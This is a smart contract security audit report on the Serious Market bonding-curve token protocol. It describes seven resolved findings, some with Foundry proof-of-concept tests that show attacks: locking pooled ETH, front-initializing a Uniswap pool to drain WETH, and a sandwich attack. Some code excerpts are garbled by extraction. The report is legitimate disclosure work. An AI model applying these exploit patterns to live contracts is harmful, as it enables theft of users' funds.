Serious Security Review

Pashov Audit Group

Conducted by: Said, Shaka, juancito

May 21th 2024 - May 23th 2024

Contents

1. About Pashov Audit Group 2
2. Disclaimer 2
3. Introduction 2
4. About Serious 2
5. Risk Classification 3
   5.1. Impact 3
   5.2. Likelihood 3
   5.3. Action required for severity levels 4
6. Security Assessment Summary 4
7. Executive Summary 5
8. Findings 7
   8.1. Critical Findings 7
      [C-01] Locking collected ETH by triggering createPoolAndAddLiquidity twice 7
      [C-02] Uniswap's pool can be initialized with a different price 10
   8.2. Medium Findings 13
      [M-01] Missing slippage parameter in buyToken() 13
      [M-02] Latest tokens bought in the market are more expensive than in the pool 15
   8.3. Low Findings 18
      [L-01] Unnecessary slippage check 18
      [L-02] Referrers can block buy/sell operations 18
      [L-03] createPoolAndAddLiquidity DOS by frontrun 19

1. About Pashov Audit Group

Pashov Audit Group consists of multiple teams of some of the best smart contract security researchers in the space. Having a combined reported security vulnerabilities count of over 1000, the group strives to create the absolute very best audit journey possible - although 100% security can never be guaranteed, we do guarantee the best efforts of our experienced researchers for your blockchain protocol. Check our previous work here or reach out on Twitter @pashovkrum.

2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

3. Introduction

A time-boxed security review of the **serious-market/serious-core** repository was done by **Pashov Audit Group**, with a focus on the security aspects of the application's smart contracts implementation.

4. About Serious

The Serious Market smart contracts facilitate the creation and trading of ERC20 tokens on a bonding curve, managing a set supply of tokens, calculating token prices based on a bonding curve formula, and enabling users to buy and sell these tokens with ETH. It also integrates with Uniswap for liquidity provision.

5. Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

5.1. Impact

- High - leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- Medium - only a small amount of funds can be lost (such as leakage of value) or a core functionality of the protocol is affected.
- Low - can lead to any kind of unexpected behavior with some of the protocol's functionalities that's not so critical.

5.2. Likelihood

- High - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- Medium - only a conditionally incentivized attack vector, but still relatively likely.
- Low - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive.

5.3. Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

6. Security Assessment Summary

review commit hash - 6c99daa6a532307015a277fdfdaddf2934ff0520

fixes review commit hash - 55a46647225b58a2de9d2e4a997aace6d5870e10

Scope

The following smart contracts were in scope of the audit:

- `SeriousMarket`
- `ERC20Token`
- `PoolAddress`

7. Executive Summary

Over the course of the security review, Said, Shaka, juancito engaged with Serious to review Serious. In this period of time a total of **7** issues were uncovered.

Protocol Summary

Protocol Name	Serious
Repository	https://github.com/serious-market/serious-core
Date	May 21th 2024 - May 23th 2024
Protocol Type	Bonding Curve token sale

Findings Count

Severity	**Amount**
Critical	2
Medium	2
Low	3
Total Findings	**7**

Summary of Findings

ID	Title	Severity	Status
[C-01]	Locking collected ETH by triggering createPoolAndAddLiquidity twice	Critical	Resolved
[C-02]	Uniswap's pool can be initialized with a different price	Critical	Resolved
[M-01]	Missing slippage parameter in buyToken()	Medium	Resolved
[M-02]	Latest tokens bought in the market are more expensive than in the pool	Medium	Resolved
[L-01]	Unnecessary slippage check	Low	Resolved
[L-02]	Referrers can block buy/sell operations	Low	Resolved
[L-03]	createPoolAndAddLiquidity DOS by frontrun	Low	Resolved

8. Findings

8.1. Critical Findings

[C-01] Locking collected ETH by triggering `createPoolAndAddLiquidity` twice

Severity

Impact: High

Likelihood: High

Description

When users create a token in the Serious market, it can be funded by calling `buyToken` and providing the required amount of ETH and users will receive the requested amount of the token. Until the token is fully funded (`tokensSold >= tradeableSupply`), the collected ETH will be stored inside the `SeriousMarketProtocol` contract.

Once the token is fully funded, anyone can call `createPoolAndAddLiquidity` to create UniV3 Pool of a token and weth pair and add liquidity in the pool based on the configured `ethAmount` and `tokenAmount`.

```
function createPoolAndAddLiquidity
      (address tokenAddress) external nonReentrant returns (address) {
        TokenData memory tokenData = tokenDatas[tokenAddress];
        require(tokenData.token != ERC20Token(address
          (0)), "Token does not exist");
        require(
          tokenData.tokensSold>=tradeableSupply,
          "Notenoughtokenssoldtocreatepool"
        );

        uint256 ethAmount = totalLiquidity - poolCreationReward;
        uint256 tokenAmount = _getFractionalTokens(reservedSupply);

        // Disable trading on token
        tokenDatas[tokenAddress].tradingEnabled = false;

        // Convert ETH from contract to WETH
        weth.deposit{value: ethAmount}();

        // Approve the router to spend tokens
        SafeTransferLib.safeApprove(tokenData.token, address
          (positionManager), tokenAmount);
        require(weth.approve(address
          (positionManager), ethAmount), "Failed to approve WETH");

        // Create the pool if it doesn't already exist
        address pool = uniswapFactory.getPool(address
          (weth), tokenAddress, poolFee);
        if (pool == address(0)) {
            pool = uniswapFactory.createPool(address
              (weth), tokenAddress, poolFee);
            uint160 sqrtPriceX96 = tokenAddress < address
              (weth) ? sqrtPriceX96WETHToken1 : sqrtPriceX96ERC20Token1;
            IUniswapV3Pool(pool).initialize(sqrtPriceX96);
        }

        // Mint parameters for providing liquidity
        // ...

        // Add liquidity
        (
          uint256tokenId,
          uint128liquidity,
          uint256amount0,
          uint256amount1
        ) = positionManager.mint(params

        // Burn the LP token -- don't use safe transfer because it's a contract
        // that doesn't implement receiver
        positionManager.transferFrom(address(this), customNullAddress, tokenId);

        // ...
        return address(pool);
    }
```

However, `createPoolAndAddLiquidity` only sets `tradingEnabled` to false but does not check if the previous value was true. This can be abused by an attacker to lock other tokens' collected ETH into the attacker's pool.

Proof of Concept (PoC):

1. The attacker can create a token, fully fund the token, and then call `createPoolAndAddLiquidity`.
2. After this operation, the attacker donates enough tokens to cover `tokenAmount` to the `SeriousMarketProtocol` contract and triggers `createPoolAndAddLiquidity` for the second time. The collected ETH from other tokens will be used to provide liquidity to the attacker's pool.

Coded PoC :

```
function testAddLiquidityTwice() public {

        uint256 buyAmount = seriousMarket.tradeableSupply();
        uint256 cost = seriousMarket.getEthValueForTradeWithFee(0, int256
          (buyAmount));
        // this is to mock initial balance inside the market from another token
        // funding
        vm.deal(address(seriousMarket), cost);

        vm.startPrank(ownerAddress);
        vm.deal(ownerAddress, cost);
        console.log("initial eth balance of attacker : ");
        console.log(cost);
        console.log("balance of eth inside market before :");
        console.log(address(seriousMarket).balance);
        seriousMarket.buyToken{value: cost}(address(token), buyAmount, bytes8
          (0));
        seriousMarket.createPoolAndAddLiquidity(tokenAddress);

        console.log("balance of attacker after first add liquidity :");
        console.log(token.balanceOf(ownerAddress));

        // add liquidity twice
        uint256 reservedSupply = seriousMarket.reservedSupply() * (10 ** 18);
        token.transfer(address(seriousMarket), reservedSupply);
        seriousMarket.createPoolAndAddLiquidity(tokenAddress);
        // swap back to eth
        uint256 swapAmount = token.balanceOf(ownerAddress);
        IV3SwapRouter swapRouter = IV3SwapRouter(swapRouterAddress);
        ERC20(tokenAddress).approve(swapRouterAddress, swapAmount);

            tokenIn: tokenAddress,
            tokenOut: wethAddress,
            fee: seriousMarket.poolFee(),
            recipient: ownerAddress,
            amountIn: swapAmount,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        });

        uint256 amountOut = swapRouter.exactInputSingle(params);
        console.log("Token balance of attacker after second addLiquidity :");
        console.log(token.balanceOf(ownerAddress));
        console.log("Eth balance of attacker after second addLiquidity :");
        console.log(address(ownerAddress).balance);
        console.log("Eth balance of seriousMarket after second addLiquidity :");
        console.log(address(seriousMarket).balance);
    }
```

Run the test :

```
forge test --match-test testAddLiquidityTwice -vvv
```

While this is not a profitable attack, it will cause other tokens' funding to be DoSed and may lead to protocol insolvency due to the lack of ETH liquidity to cover the pool and liquidity creation.

Recommendations

Add an additional check inside `createPoolAndAddLiquidity`. if `tradingEnabled` is false, revert the operation.

[C-02] Uniswap's pool can be initialized with a different price

Severity

Impact: High

Likelihood: High

Description

`SeriousMarket.createPoolAndAddLiquidity` creates and initializes a Uniswap pool for the token-WETH pair only if the pool does not exist. Then liquidity is added to the pool at the current price.

In case the pool exists and the current price is different from the target initial price, not all the liquidity is added to the pool.

In case the price for the token is higher than the target price, fewer tokens will be added to the pool and the remaining tokens will be burned. In case the price is lower, fewer WETH will be added to the pool and the remaining WETH will be stuck in the contract.

A malicious user can create the pool with a very high price and after the liquidity is added, swap a small amount of tokens in exchange for most of the WETH in the pool.

Proof of Concept

Test:

```
function testCreatePoolOutsideMarket() public {
    vm.deal(ownerAddress, 10 ether);
    vm.deal(userAddress, 1 ether);
    uint256 userInitialBalance = userAddress.balance;
    uint256 userBuyAmount = 1;

    // User buys 1 token and owner buys the rest
    buy(userAddress, userBuyAmount);
    buy(ownerAddress, seriousMarket.tradeableSupply() - userBuyAmount);

    vm.startPrank(ownerAddress);

    // Create pool and initialize with very high price
    address pool = IUniswapV3Factory(uniswapFactoryAddress).createPool
      (wethAddress, tokenAddress, seriousMarket.poolFee());
    IUniswapV3Pool(pool).initialize(1e40);

    // Add liquidity from market
    seriousMarket.createPoolAndAddLiquidity(tokenAddress);

    // Swap 1 token for WETH
    ERC20(tokenAddress).approve(swapRouterAddress, userBuyAmount * 1e18);

    tokenIn: tokenAddress,
    tokenOut: wethAddress,
    fee: seriousMarket.poolFee(),
    recipient: ownerAddress,
    amountIn: userBuyAmount * 1e18,
    amountOutMinimum: 0,
    sqrtPriceLimitX96: 0
    });
    uint256 amountOut = IV3SwapRouter(swapRouterAddress).exactInputSingle
      (params);

    vm.stopPrank();

    console2.log("ETH spent: %e", userInitialBalance - userAddress.balance);
    console2.log("WETH received: %e", amountOut);
}

function buy(address buyer, uint256 amount) public {
    (, uint256 tokensSold, ) = seriousMarket.tokenDatas(tokenAddress);
    uint256 buyCost = seriousMarket.getEthValueForTrade(int256
      (tokensSold), int256(amount));
    uint256 buyFee = seriousMarket.getBuyFee(buyCost);
    vm.prank(buyer);
    seriousMarket.buyToken{value: buyCost + buyFee}(address
      (token), amount, bytes8(0));
}
```

Console output:

```
ETH spent: 1.010000015e9
WETH received: 7.031734957878102476e18
```

Recommendations

Consider creating the token inside `createPoolAndAddLiquidity` and using internal accounting for buys and sells in the form of token claims, that can be exchanged once the token is created.

Another option, that would allow transferring the tokens before the pool is created, would be using a wrapper token that can be exchanged for the real token once the pool is created.

In order to prevent a front-running attack, where a user pre-computes the new token address and creates and initializes the pool, it would be required to remove the check for pool existence (it will revert if the pool is already initialized) and pass a salt to create the token using `create2`, so that `createPoolAndAddLiquidity` does not turn into a no-op.

8.2. Medium Findings

[M-01] Missing slippage parameter in buyToken()

Severity

Impact: Medium

Likelihood: Medium

Description

Users can call `getEthValueForTradeWithFee()` to retrieve the exact amount of ETH required to purchase a specified number of tokens, including the fee.

It is very likely that during the initial phase of the token sale, users will try to buy the tokens "at the same time". This means, retrieving the exact amount via a UI, and sending a transaction with that value to `buyTokens()`.

The problem is that even if a minimal price deviation occurs in the meantime, the transaction will always revert, as there is no slippage parameter:

```
// Get the cost of the trade in ETH and confirm the user has sent enough
    uint256 ethTradeValue = getEthValueForTrade(int256
      (tokenData.tokensSold), int256(amount));
    uint256 protocolFee = getBuyFee(ethTradeValue);
    uint256 totalEthValue = ethTradeValue + protocolFee;
@>  require(msg.value >= totalEthValue, "Not enough Ether sent");
```

In addition to the previous impact, users can be subject to sandwich attacks if the protocol is deployed on a chain with a public mempool (so that it allows frontrunning). An example is provided in the Proof of Concept section.

Proof of Concept

Unexpected Revert POC:

- Add the test to `test/SeriousMarket.t.sol`
- Run `forge test --mt testBuyTokenUnexpectedRevert`

```
function testBuyTokenUnexpectedRevert() public {
    address user1 = makeAddr("user1");
    address user2 = makeAddr("user2");

    // Both users request the tokensSold via a UI and get this value
    (,uint256 tokensSold,) = seriousMarket.tokenDatas(address(token));

    uint256 tokensAmount1 = 1;
    uint256 ethAmount1 = seriousMarket.getEthValueForTradeWithFee(int256
      (tokensSold), int256(tokensAmount1));

    uint256 tokensAmount2 = 100_000;
    uint256 ethAmount2 = seriousMarket.getEthValueForTradeWithFee(int256
      (tokensSold), int256(tokensAmount2));

    // The first user that gets their transactions processed from the mempool
    // will succeed
    hoax(user1);
    seriousMarket.buyToken{value: ethAmount1}(address
      (token), tokensAmount1, bytes8(0));

    // But the second one will always fail, as the Ether amount will not be
    // exactly as expected
    // (even though the price difference could be minimal)
    hoax(user2);
    vm.expectRevert("Not enough Ether sent");
    seriousMarket.buyToken{value: ethAmount2}(address
      (token), tokensAmount2, bytes8(0));
}
```

Sandwich Attack POC:

```
function testBuyTokenSandwich() public {
    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 100 ether);

    vm.prank(attacker);
    token.approve(address(seriousMarket), type(uint256).max);

    // Track balance before the attack
    uint256 attackerBalanceBefore = attacker.balance;

    // The attacker frontruns the buyToken operation
    vm.prank(attacker);
    seriousMarket.buyToken{value: 10 ether}(address
      (token), 657_000_000 - 400_000_000, bytes8(0));

    // The victim's transaction is processed after the attacker one
    vm.prank(victim);
    seriousMarket.buyToken{value: 10 ether}(address(token), 400_000_000, bytes8
      (0));

    // The attacker completes the sandwich attack by executing a sellToken
    // operation right after
    uint256 amount = token.balanceOf(attacker) / 1e18;
    vm.prank(attacker);
    seriousMarket.sellToken(address(token), amount, 0, 0, bytes8(0));

    // The took an unfair profit from a victim who paid more than expected for
    // buying tokens
    uint256 attackerBalanceAfter = attacker.balance;
    assertGt(attackerBalanceAfter - attackerBalanceBefore, 3 ether);
}
```

Recommendations

Allow users to set a slippage parameter just like in `sellToken()`.

[M-02] Latest tokens bought in the market are more expensive than in the pool

Severity

Impact: Low

Likelihood: High

Description

The price of the tokens bought in the market increases as the number of `tokensSold` approaches `tradeableSupply`. This means that the last tokens

bought in the market are ~1% more expensive than the first tokens bought in the pool.

Given that the pool is created once all the `tradeableSupply` is bought, there is an incentive to wait until other users buy the last tokens in the market and buy them in the pool at a lower price.

Proof of concept

Test:

```
function testBuyMarketVsPool() public {
    vm.deal(ownerAddress, 100 ether);
    vm.deal(userAddress, 100 ether);
    uint256 initialBalance = address(userAddress).balance;
    uint256 buyAmount = 1_000_000;

    buy(ownerAddress, seriousMarket.tradeableSupply() - buyAmount);
    buy(userAddress, buyAmount);
    console2.log("Cost in market: %e", initialBalance - address
      (userAddress).balance);

    vm.startPrank(userAddress);
    seriousMarket.createPoolAndAddLiquidity(tokenAddress);

    wethAddress.call{value: 10 ether}("");
    IV3SwapRouter swapRouter = IV3SwapRouter(swapRouterAddress);
    ERC20(wethAddress).approve(swapRouterAddress, type(uint256).max);


        tokenIn: wethAddress,
        tokenOut: tokenAddress,
        fee: seriousMarket.poolFee(),
        recipient: ownerAddress,
        amountOut: buyAmount * 1e18,
        amountInMaximum: 10 ether,
        sqrtPriceLimitX96: 0
    });

    uint256 amountIn = swapRouter.exactOutputSingle(params);
    vm.stopPrank();

    console2.log("Cost in pool:   %e", amountIn);
}

function buy(address buyer, uint256 amount) public {
    (, uint256 tokensSold, ) = seriousMarket.tokenDatas(tokenAddress);
    uint256 buyCost = seriousMarket.getEthValueForTrade(int256
      (tokensSold), int256(amount));
    uint256 buyFee = seriousMarket.getBuyFee(buyCost);
    vm.prank(buyer);
    seriousMarket.buyToken{value: buyCost + buyFee}(address
      (token), amount, bytes8(0));
}
```

Console output:

```
Cost in market: 2.090195e16
  Cost in pool:   2.0768311772697743e16
```

Recommendations

Adjust the initial price of the Uniswap pool so that the last tokens bought in the market are not more expensive than the first tokens bought in the pool.

8.3. Low Findings

[L-01] Unnecessary slippage check

When `sellToken` is called, the user can provide `slippageBps` to ensure the received ETH is within the allowed slippage from `estimatedEthReturned`. However, currently, it will also check slippage even when `ethValueForUser` is equal to `estimatedEthReturned`.

```
function sellToken(
        address tokenAddress,
        uint256 amount,
        uint256 estimatedEthReturned,
        uint256 slippageBps,
        bytes8 referralCode
    ) external {
        // ...

        // Check if the user is getting the expected amount of ETH
        // @audit - should be no equality here
>>>     if (ethValueForUser <= estimatedEthReturned) {
            require(
                estimatedEthReturned - ethValueForUser <=
                  (estimatedEthReturned * slippageBps) / 10_000,
                "Slippage exceeded"
            );
        }
        // ...
    }
```

Change the conditional logic to check only if `ethValueForUser` is lower than `estimatedEthReturned`.

[L-02] Referrers can block buy/sell operations

Referrers are registered in a trustless fashion, and can perform a griefing attack on the `safeTransferETH()` callback, like reverting the transaction of certain users that referred them, or making them spend extra gas via a "gas bomb". This affects both the `buyToken()` and `sellToken()` functions.

```
function _transferReferralFee(
      bytes8referralCode,
      uint256protocolFeeValue
    ) internal returns (address, uint256
        address referrer = referralCodeToAddress[referralCode];
        uint256 referralFee = 0;
        if (referrer != address(0)) {
            referralFee = getReferralFee(protocolFeeValue);
@>          SafeTransferLib.safeTransferETH(referrer, referralFee);
        }

        return (referrer, referralFee);
    }
```

Although the referrer may not benefit from this, and users can opt-out from this referrer, it would be recommended to prevent any possible griefing attack by using a function like `forceSafeTransferETH()` from Solady.

[L-03] `createPoolAndAddLiquidity` DOS by frontrun

Severity

Impact: Medium

Likelihood: Medium

Description

In order to create a pool and add liquidity to it, `SeriousMarket.createPoolAndAddLiquidity` requires that all the tradeable supply of the token has been sold.

```
290     require(
  tokenData.tokensSold>=tradeableSupply,
  "Notenoughtokenssoldtocreatepool"
);
```

A malicious actor that has at least one token can front-run the call to `createPoolAndAddLiquidity` by selling one token to the contract, which will decrease `tokenData.tokensSold`, causing the next call to `createPoolAndAddLiquidity` to fail.

The only way the caller of `createPoolAndAddLiquidity` can prevent this is by A) owning all the tokens, or B) buying all the available tokens in the same

transaction just before calling `createPoolAndAddLiquidity`.

Recommendations

A possible solution would be to not allow the selling of tokens once all the tradeable supply has been bought. If this behavior is not desired, another option would be adding a cooldown period every time the tradeable supply is reached, in which it is not allowed to sell tokens. This would give the caller of `createPoolAndAddLiquidity` enough time to call the function without being front-run.